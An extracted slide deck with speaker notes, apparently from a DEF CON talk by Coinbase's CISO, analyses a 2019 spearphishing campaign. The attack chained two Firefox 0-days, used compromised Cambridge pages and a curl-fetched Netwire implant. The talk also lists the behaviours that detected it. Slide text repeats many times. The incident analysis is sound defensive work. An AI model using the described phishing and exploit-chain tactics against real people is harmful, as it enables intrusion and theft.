On June 17th, 2019, Coinbase detected and blocked an attempt by an attacker to leverage two Firefox 0-days to target Coinbase employees. The cryptocurrency industry has to expect attacks of this sophistication to continue, and by building infrastructure with excellent defensive posture and working with each other to share information about the attacks we’re seeing, we’ll be able to defend ourselves and support the crypto economy. Coinbase CISO Philip Martin will give a deep dive into the 0-day attack, how Coinbase detected and responded, and how the industry can better prepare for future attacks of this kind.
2. About Me
I’m Philip Martin, the CISO at Coinbase
Ex-Palantir, Amazon, Sun and US Army
3. 00 – Intro
01 – Attack Timeline and Overview
02 – Phase Deep Dives
Agenda
03 –Response and Lessons Learned
04 – Wrap Up & Questions
4. Phase 1
Recon
Attackers develop
~200 potential targets
they think are related
to cryptocurrency in
some way.
Phase 2
Weaponization
Attackers develop/acquire firefox
0-days, access to Cambridge
University accounts and build
implants
Phase 3
Delivery
Attackers conduct their phishing
campaign and target vetting,
eventually delivering exploit code
to ~5 individuals
Phase 4/5/6
Exploitation, Installation & C2
Attackers cause victims to visit a web page hosted
on the Cambridge domain which delivers the Firefox
0-days and triggers built-in shellcode to download a
phase 1 implant, which then conducts on-system
recon and downloads a phase 2 implant if directed
Phase 7
Actions on Target
Attackers attempt to target obvious credential
stores, & documents. (we know less about
attacker intentions here as we stopped the
intrusion within minutes of it landing on a
corporate system
12 May 2019 2 June 2019 17 June 2019 17 June 2019 17 June 2019
5. Phase 1
Recon
Attackers develop
~200 potential targets
they think are related
to cryptocurrency in
some way.
Phase 2
Weaponization
Attackers develop/acquire firefox
0-days, access to Cambridge
University accounts and build
implants
Phase 3
Delivery
Attackers conduct their phishing
campaign and target vetting,
eventually delivering exploit code
to ~5 individuals
Phase 4/5/6
Exploitation, Installation & C2
Attackers cause victims to visit a web page hosted
on the Cambridge domain which delivers the Firefox
0-days and triggers built-in shellcode to download a
phase 1 implant, which then conducts on-system
recon and downloads a phase 2 implant if directed
Phase 7
Actions on Target
Attackers attempt to target obvious credential
stores, & documents. (we know less about
attacker intentions here as we stopped the
intrusion within minutes of it landing on a
corporate system
12 May 2019 2 June 2019 17 June 2019 17 June 2019 17 June 2019
6. Phase 1
Recon
Attackers develop
~200 potential targets
they think are related
to cryptocurrency in
some way.
Phase 2
Weaponization
Attackers develop/acquire firefox
0-days, access to Cambridge
University accounts and build
implants
Phase 3
Delivery
Attackers conduct their phishing
campaign and target vetting,
eventually delivering exploit code
to ~5 individuals
Phase 4/5/6
Exploitation, Installation & C2
Attackers cause victims to visit a web page hosted
on the Cambridge domain which delivers the Firefox
0-days and triggers built-in shellcode to download a
phase 1 implant, which then conducts on-system
recon and downloads a phase 2 implant if directed
Phase 7
Actions on Target
Attackers attempt to target obvious credential
stores, & documents. (we know less about
attacker intentions here as we stopped the
intrusion within minutes of it landing on a
corporate system
12 May 2019 2 June 2019 17 June 2019 17 June 2019 17 June 2019
7. Phase 1
Recon
Attackers develop
~200 potential targets
they think are related
to cryptocurrency in
some way.
Phase 2
Weaponization
Attackers develop/acquire firefox
0-days, access to Cambridge
University accounts and build
implants
Phase 3
Delivery
Attackers conduct their phishing
campaign and target vetting,
eventually delivering exploit code
to ~5 individuals
Phase 4/5/6
Exploitation, Installation & C2
Attackers cause victims to visit a web page hosted
on the Cambridge domain which delivers the Firefox
0-days and triggers built-in shellcode to download a
phase 1 implant, which then conducts on-system
recon and downloads a phase 2 implant if directed
Phase 7
Actions on Target
Attackers attempt to target obvious credential
stores, & documents. (we know less about
attacker intentions here as we stopped the
intrusion within minutes of it landing on a
corporate system
12 May 2019 2 June 2019 17 June 2019 17 June 2019 17 June 2019
8. Phase 1
Recon
Attackers develop
~200 potential targets
they think are related
to cryptocurrency in
some way.
Phase 2
Weaponization
Attackers develop/acquire firefox
0-days, access to Cambridge
University accounts and build
implants
Phase 3
Delivery
Attackers conduct their phishing
campaign and target vetting,
eventually delivering exploit code
to ~5 individuals
Phase 4/5/6
Exploitation, Installation & C2
Attackers cause victims to visit a web page hosted
on the Cambridge domain which delivers the Firefox
0-days and triggers built-in shellcode to download a
phase 1 implant, which then conducts on-system
recon and downloads a phase 2 implant if directed
Phase 7
Actions on Target
Attackers attempt to target obvious credential
stores, & documents. (we know less about
attacker intentions here as we stopped the
intrusion within minutes of it landing on a
corporate system
12 May 2019 2 June 2019 17 June 2019 17 June 2019 17 June 2019
9.
10.
11.
12.
13. Phase 1
Recon
Attackers develop
~200 potential targets
they think are related
to cryptocurrency in
some way.
Phase 2
Weaponization
Attackers develop/acquire firefox
0-days, access to Cambridge
University accounts and build
implants
Phase 3
Delivery
Attackers conduct their phishing
campaign and target vetting,
eventually delivering exploit code
to ~5 individuals
Phase 4/5/6
Exploitation, Installation & C2
Attackers cause victims to visit a web page hosted
on the Cambridge domain which delivers the Firefox
0-days and triggers built-in shellcode to download a
phase 1 implant, which then conducts on-system
recon and downloads a phase 2 implant if directed
Phase 7
Actions on Target
Attackers attempt to target obvious credential
stores, & documents. (we know less about
attacker intentions here as we stopped the
intrusion within minutes of it landing on a
corporate system
12 May 2019 2 June 2019 17 June 2019 17 June 2019 17 June 2019
14.
15.
16.
17. Phase 1
Recon
Attackers develop
~200 potential targets
they think are related
to cryptocurrency in
some way.
Phase 2
Weaponization
Attackers develop/acquire firefox
0-days, access to Cambridge
University accounts and build
implants
Phase 3
Delivery
Attackers conduct their phishing
campaign and target vetting,
eventually delivering exploit code
to ~5 individuals
Phase 4/5/6
Exploitation, Installation & C2
Attackers cause victims to visit a web page hosted
on the Cambridge domain which delivers the Firefox
0-days and triggers built-in shellcode to download a
phase 1 implant, which then conducts on-system
recon and downloads a phase 2 implant if directed
Phase 7
Actions on Target
Attackers attempt to target obvious credential
stores, & documents. (we know less about
attacker intentions here as we stopped the
intrusion within minutes of it landing on a
corporate system
12 May 2019 2 June 2019 17 June 2019 17 June 2019 17 June 2019
18. Phase 1
Recon
Attackers develop
~200 potential targets
they think are related
to cryptocurrency in
some way.
Phase 2
Weaponization
Attackers develop/acquire firefox
0-days, access to Cambridge
University accounts and build
implants
Phase 3
Delivery
Attackers conduct their phishing
campaign and target vetting,
eventually delivering exploit code
to ~5 individuals
Phase 4/5/6
Exploitation, Installation & C2
Attackers cause victims to visit a web page hosted
on the Cambridge domain which delivers the Firefox
0-days and triggers built-in shellcode to download a
phase 1 implant, which then conducts on-system
recon and downloads a phase 2 implant if directed
Phase 7
Actions on Target
Attackers attempt to target obvious credential
stores, & documents. (we know less about
attacker intentions here as we stopped the
intrusion within minutes of it landing on a
corporate system
12 May 2019 2 June 2019 17 June 2019 17 June 2019 17 June 2019
19. Attacker Info
Active since 2016 & not covered
by any TI firm we know
● The first indication of
activity we can find for this
group is around 2016.
● There is essentially no
english-language coverage
of this group
Likely the same actor that
breached CoinCheck
● Based on a report from
Japan’s Cyber Emergency
Center, there is significant
TTP overlap between our
attacker and the one they
describe.
Has dropped at least half a
dozen 0-day
● Reading the reporting, this
attacker has dropped
somewhere around 6 0-
days over the last 3 years.
● IMO one of the more
dangerous actors in crypto
20. Our Response / Lessons Learned
Visibility is king
● Our time to detect was fast
because we’re fanatical
about visibility and
coverage.
● We’re also fanatical about
alert quality. If the team
gets a page, they have to
know it’s legit.
Rapid response playbooks,
tabletops, practice, practice,
practice
● We had a 20 minute time to
containment because we
practice on a regular basis.
● If you can’t do it drunk at
3AM christmas morning,
you can’t do it
0-day is in your threat model (if
you’re in cryptocurrency)
● I hope this is not a surprise
to anyone here, but if you’re
defending a cryptocurrency
company this should drive
home to you that 0-day is
legitimately in your threat
model.
21. Any Questions?
(BTW, if this sounds like a fun set of challenges then I’ve probably got
an open role that you’d love… https://coinbase.com/careers)
Editor's Notes
Good morning Defcon, thanks for coming out!
When I saw the time slot, 10 AM Friday morning, I was a little concerned you might all be sleeping (because I would be, if I wasn’t giving this talk). Really appreciate that you came out and hopefully I’ll give you a fair trade for that effort!
What we are going to talk about is an attack by what I think is one of the most dangerous attacker groups in crypto today. This attack targeted cryptocurrency companies, leveraged 2 Firefox 0-days and extensive social engineering.
We’re going to spend the next 50 minutes breaking down the attack, how it happened and highlighting a few of the lessons we learned along the way.
I’m happy to say that we caught it early when it came out way, customer/corporate funds were never at risk, and were able to detect, respond and contain within minutes and fully remediate/recover within a day or so (although I’m not positive the engineer of ours who was exploited has opened his email again since).
But I’m getting ahead of myself...
Hi folks, my name is Philip Martin. I’m the CISO at Coinbase. For those of you that don’t know of us, the way I like to describe our business is that we run the world’s largest and highest stakes Security Capture The Flag. My job is to protect our flags.
But really, we’re a cryptocurrency company that stores upwards of 20 billion dollars of digital assets with users across the world and all over the spectrum of technical sophistication.
My background is a mix of US Government and Private Sector experience.
Topic and Motivation
We’re going to start by walking through the attack, breaking it down into phases so we can talk about each chunk individually (although in real life I doubt the attackers serialized things quite that much)
Then we’ll cover how/why we detected the attack (spoiler alert: it was not magic cyber AI) and what lessons we learned from this event.
Finally I’ll answer your questions.
My guess is I’m going to get more questions than normal in this session, so I’m going to cut myself with about 15 minutes left and if there aren’t 15 minutes of questions, well, you can talk among yourselves for a bit before the next speaker.
Give the quick story
This is the phase we know the least about.
We know the attackers put together a list of about 200 people for the initial target set
We know the attackers mostly targeted personal email addresses
We know they got a few of the initial targets very wrong (e.g. not involved in cryptocurrency at all), but they got the vast majority right
As we’ll talk about later, they seemed more interested in IT/infra/eng/security than most, but the initial list cut a pretty broad swath and included a little bit of everything
We DONT know where they did their research or what their data sources were
We suspsect fairly standard OSINT practices.
We DONT know how long this phase lasted or how far in advance the data was collected
LEAD OUT: One final note, we don’t really know in what order this occured. We’re assuming that the attackers had the target list ready to go while waiting for a suitable 0-day to pop up, but it could have been the other way around. Assuming we’re right, the attackers next moved into weaponization of their exploit
This is a pretty rich topic area and I’ve lumped both the exploit dev and access to the Cambridge University systems (although we don’t know when the attackers got that access).
As you folks already likely know, the attacker leveraged 2 chained exploits CVE-2019–11707 (JIT exploit) and CVE-2019–11708 (sandbox escape).
CVE-2019–11707 was a simultaneous(ish) discovery by the attacker and by Samuel Gross of Project Zero. We were able to share the in-the-wild exploit for the bug with him and he has a nice writeup on twitter that covers the differences. Tl;dr the in-the-wild exploit looks like a variant of CVE-2019-9810 (made public in mid-April), so likely someone hunting for this bug pattern, or even specifically a variant of that specific bug.
CVE-2019–11708 is more interesting to me. This was the sandbox escape that the attacker used to hop from the browser to the OS. While the underlying mechanism that is exploited has been in firefox for quite a while, the specific way these attackers chose to trigger it has only been possible since 12 May. The attackers seem to have finished getting their operational infra in place on or around the end of May (the attackers registered the domain they used to host the actual 0-day on 28 May). That means, assuming they found the bug right away, about a 2-week cycle from discovery to weaponization as part of an exploit chain. (assumptions: they had the 0-day ready before the phishing went out; they didn’t know about the underlying issue before this change was made).
NEXT
In this phase, the attackers also gained access to the Cambridge University accounts they used to actually send the phishing (more on that later). Cambridge allows accounts to host content in home directories under the top level cambridge domain. The attackers used this ability to clone, modify and store legitimate Cambridge pages used in both the social engineering and exploit phases of the attack. The use of the legitimate Cambridge domain gave the attackers a huge leg up in establishing trust with their victims.
Don’t know much about the Cambridge side of this equation. Real people? Fake accounts? How long did they have access? Had they leveraged this for other attacks?
This is my favorite phase.
The attackers start to send their spearphishing. This is what it looked like...
There were at least 2 variants, one using the Adam Smith prize and one using the Adams Prize (next)
The attackers took at least some effort to give the right message to the right person.
If you responded and said something like “I’m not an engineer”, the attackers ceased contact. If you replied with interest the attackers...
Sent you a followup like this. A few days later, the attackers would follow up with...
A message like this.
Here finally we get to the actual exploitation.
The entire exchange took between 10 days and 2 weeks for most people.
And now we’re in exploitation land.
That last URL was a legitimate copy of a login page for Cambridge’s IdP. with two small changes.
A bit of javascript to make sure you were a target that matched their desired profile
Note that they seem to want firefox on mac or any other OS. We saw no indication of other exploits being used in this campaign.
This is what you’d see if you visited the site and were not in their target profile.
And the inclusion of the actual exploit code. analyticsfit.com is an attacker controlled domain that was used to host the actual 0-day javascript.
Assuming the exploit landed, your browser would shell out to curl and pull down a stage one implant.
If running over, defer to blog post
The stage 1 binary was a variant of the Netwire family. While this implant is capable of acting as a fully-featured RAT, the attackers seem to use it mostly as an initial recon and credential theft payload.
Delay before stage 2 downloads.
The stage 2 payload is a variant of the Mokes family. The attackers seem to use this implant as a full-fledged RAT. We’ve observed activity of the stage 2 implant consistent with direct human control. Our assumption is that stage 1 only advances to stage 2 where the attackers believe they have landed on a host of value.
We stopped the attack on our employee’s system within about 20 minutes, so we don’t have a ton of really good data. We’ve had access to other systems where the attacker was present longer, but without good endpoint logs we’re basing a lot of assumptions on dead-box forensics.
The attackers seem to do a fairly basic automated credential pillage in stage 1. We see evidence that, in stage 2, they also target browser credential stores and session tokens. They are interested in pivoting from the endpoint to cloud systems (email, file storage, etc). There is some Japanese-language reporting on these attackers as well that goes into some additional depth.
If you’re a cryptocurrency company, you need to take these folks seriously. They are focused on our industry, they are well funded and operationally skilled with access to 0-days on a regular basis.
RESPONSE
Much of this is in the blog post, won’t repeat that.
We detected the attack based on defined unusual behaviors (e.g. firefox shelling out, executions from /tmp, unknowns processes touching sensitive directories like .ssh, .aws, etc).
LESSONS
Visibility is king
Our time to detect was fast because we’re fanatical about visibility and coverage.
We’re also fanatical about alert quality. If the team gets a page, they have to know it’s legit.
Rapid response playbooks, tabletops, practice, practice, practice
We had a 20 minute time to containment because we practice on a regular basis.
If you can’t do it drunk at 3AM christmas morning, you can’t do it
0-day is in your threat model (if you’re in cryptocurrency)
I hope this is not a surprise to anyone here, but if you’re defending a cryptocurrency company this should drive home to you that 0-day is legitimately in your threat model.
OTHER STUFF
Use of personal email
Some cases of personal device compromise
I hope this has been a useful view into this attack and threat actor.
I’d be remis if I didn’t mention we’re hiring, including roles in security operations, appsec, threat intel, security engineering, privacy, GRC, etc